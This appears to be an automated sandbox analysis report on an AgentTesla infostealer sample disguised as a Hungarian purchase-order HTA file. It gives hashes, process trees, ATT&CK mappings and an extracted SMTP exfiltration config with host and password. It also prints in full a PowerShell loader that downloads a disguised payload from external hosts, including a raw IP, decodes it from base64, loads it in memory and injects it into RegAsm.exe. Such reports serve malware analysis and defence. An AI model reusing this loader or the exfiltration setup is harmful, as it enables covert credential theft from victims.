agenttesla | 5f86822a5a049aaa09d6f11ad557f4c2ae8ce57b37daa6b00658fff4ee1ce090

General

Target

Rendelés_(PO5042208)_Az Idumont.hta
Size

9KB
MD5

0766fff13fcd69232a01442507c7faaf
SHA1

e559fef859f0da7dbb27ee0ee81b68f759b8772a
SHA256

5f86822a5a049aaa09d6f11ad557f4c2ae8ce57b37daa6b00658fff4ee1ce090
SHA512

ae8bc05b1233b8495f18a3f11ebbd2a5e2ad8345b3eed593ef4885a76eff74fa5f9a11f150b087dfea1fba9a29d0ae8ac8107d7da5de7e5abdf848a1c8b68988
SSDEEP

192:sv0r6VP2SMNXVBVLkC6YWILLDFDNk6cl26nWc8t9embQV:sv0rwQvDwhMDxNkmV9embm

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.cxtopy.top
Port:
587
Username:
[email protected]
Password:
xD[cB(Qr33#+
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

13 4268 powershell.exe
20 4268 powershell.exe
22 4268 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation mshta.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

25 api.ipify.org
28 api.ipify.org
29 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4268 set thread context of 2968 4268 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4616 2968 WerFault.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeRegAsm.exe

pid process

4268 powershell.exe
4268 powershell.exe
2968 RegAsm.exe
2968 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 4268 powershell.exe
Token: SeDebugPrivilege 2968 RegAsm.exe

flow	pid	process
13	4268	powershell.exe
20	4268	powershell.exe
22	4268	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	mshta.exe

flow	ioc
25	api.ipify.org
28	api.ipify.org
29	ip-api.com

description	pid	process	target process
PID 4268 set thread context of 2968	4268	powershell.exe	RegAsm.exe

pid	pid_target	process	target process
4616	2968	WerFault.exe	RegAsm.exe

pid	process
4268	powershell.exe
4268	powershell.exe
2968	RegAsm.exe
2968	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	2968	RegAsm.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 3852 wrote to memory of 4268	3852	mshta.exe	powershell.exe
PID 3852 wrote to memory of 4268	3852	mshta.exe	powershell.exe
PID 3852 wrote to memory of 4268	3852	mshta.exe	powershell.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe
PID 4268 wrote to memory of 2968	4268	powershell.exe	RegAsm.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Rendelés_(PO5042208)_Az Idumont.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/999/original/new_image.jpg?1707144651', 'http://45.74.19.84/xampp/bkp/bkp_hta.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('w5x8fgEv-w5YOBA!=yekhtua&99212%420139D0B4D360A9=diser?daolnwod/moc.evil.evirdeno//:sptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4268

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 2184
4⤵
- Program crash
PID:4616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 200 -p 2968 -ip 2968
1⤵
PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lzufl3zs.tab.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2968-35-0x00000000703D0000-0x0000000070B80000-memory.dmp

Filesize
7.7MB

Download
memory/2968-34-0x00000000030A0000-0x00000000030B0000-memory.dmp

Filesize
64KB

Download
memory/2968-32-0x0000000005C20000-0x00000000061C4000-memory.dmp

Filesize
5.6MB

Download
memory/2968-33-0x00000000703D0000-0x0000000070B80000-memory.dmp

Filesize
7.7MB

Download
memory/2968-28-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3852-1-0x0000000072A40000-0x0000000072FF1000-memory.dmp

Filesize
5.7MB

Download
memory/3852-2-0x0000000004110000-0x0000000004120000-memory.dmp

Filesize
64KB

Download
memory/3852-4-0x0000000072A40000-0x0000000072FF1000-memory.dmp

Filesize
5.7MB

Download
memory/3852-0-0x0000000072A40000-0x0000000072FF1000-memory.dmp

Filesize
5.7MB

Download
memory/4268-21-0x0000000006040000-0x0000000006394000-memory.dmp

Filesize
3.3MB

Download
memory/4268-26-0x00000000083E0000-0x000000000892C000-memory.dmp

Filesize
5.3MB

Download
memory/4268-10-0x0000000005D20000-0x0000000005D86000-memory.dmp

Filesize
408KB

Download
memory/4268-22-0x00000000063E0000-0x00000000063FE000-memory.dmp

Filesize
120KB

Download
memory/4268-23-0x0000000006430000-0x000000000647C000-memory.dmp

Filesize
304KB

Download
memory/4268-24-0x0000000007D60000-0x00000000083DA000-memory.dmp

Filesize
6.5MB

Download
memory/4268-25-0x0000000006940000-0x000000000695A000-memory.dmp

Filesize
104KB

Download
memory/4268-20-0x0000000005FD0000-0x0000000006036000-memory.dmp

Filesize
408KB

Download
memory/4268-27-0x0000000007A80000-0x0000000007B1C000-memory.dmp

Filesize
624KB

Download
memory/4268-9-0x0000000005430000-0x0000000005452000-memory.dmp

Filesize
136KB

Download
memory/4268-8-0x00000000055F0000-0x0000000005C18000-memory.dmp

Filesize
6.2MB

Download
memory/4268-7-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Filesize
64KB

Download
memory/4268-31-0x00000000703D0000-0x0000000070B80000-memory.dmp

Filesize
7.7MB

Download
memory/4268-6-0x0000000004E60000-0x0000000004E96000-memory.dmp

Filesize
216KB

Download
memory/4268-5-0x00000000703D0000-0x0000000070B80000-memory.dmp

Filesize
7.7MB

Download

Analysis

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